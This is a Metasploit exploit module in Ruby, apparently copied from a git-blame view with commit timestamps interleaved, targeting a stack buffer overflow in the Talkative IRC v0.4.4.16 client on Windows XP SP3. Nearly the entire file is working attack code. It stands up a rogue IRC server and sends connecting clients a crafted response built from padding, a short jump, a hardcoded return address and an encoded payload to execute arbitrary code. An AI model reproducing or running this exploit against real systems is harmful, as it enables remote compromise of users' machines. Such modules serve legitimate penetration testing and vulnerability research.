2010-03-10 05:58:01 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
2009-10-16 17:02:44 +00:00
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2009-10-16 17:02:44 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/projects/Framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = NormalRanking
|
2009-10-16 17:02:44 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::Remote::TcpServer
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Talkative IRC v0.4.4.16 Response Buffer Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a stack overflow in Talkative IRC v0.4.4.16.
|
2010-03-10 05:58:01 +00:00
|
|
|
When a specially crafted response string is sent to a client,
|
2010-04-30 08:40:19 +00:00
|
|
|
an attacker may be able to execute arbitrary code.
|
2009-10-16 17:02:44 +00:00
|
|
|
},
|
|
|
|
'Author' => [ 'MC' ],
|
|
|
|
'License' => MSF_LICENSE,
|
2009-11-17 00:05:19 +00:00
|
|
|
'Version' => '$Revision$',
|
2010-04-30 08:40:19 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
2009-10-16 17:02:44 +00:00
|
|
|
[ 'BID', '34141' ],
|
|
|
|
[ 'URL', 'http://milw0rm.com/exploits/8227' ],
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 750,
|
|
|
|
'BadChars' => "\x00\x0a\x20\x0d",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
|
|
|
|
'DisableNops' => 'True',
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Windows XP SP3 English', { 'Ret' => 0x72d1146b } ],
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'DisclosureDate' => 'Mar 17 2009',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
2010-04-30 08:40:19 +00:00
|
|
|
[
|
2009-10-16 17:02:44 +00:00
|
|
|
OptPort.new('SRVPORT', [ true, "The IRC daemon port to listen on", 6667 ])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def on_client_connect(client)
|
|
|
|
res = ":irc_server.stuff 001 jox :Welcome to the Internet Relay Network jox\r\n"
|
|
|
|
client.put(res)
|
|
|
|
end
|
|
|
|
|
|
|
|
def on_client_data(client)
|
|
|
|
return if ((p = regenerate_payload(client)) == nil)
|
|
|
|
|
|
|
|
sploit = ":" + rand_text_alpha_upper(272) + Rex::Arch::X86.jmp_short(6)
|
2010-04-30 08:40:19 +00:00
|
|
|
sploit << rand_text_alpha_upper(2) + [target.ret].pack('V') + payload.encoded
|
2009-10-16 17:02:44 +00:00
|
|
|
sploit << " PRIVMSG " + rand_text_alpha(rand(10) + 1)
|
|
|
|
sploit << " : /FINGER " + rand_text_alpha(rand(10) + 1) + ".\r\n"
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-10-16 17:02:44 +00:00
|
|
|
client.put(sploit)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-10-16 17:02:44 +00:00
|
|
|
handler
|
|
|
|
service.close_client(client)
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|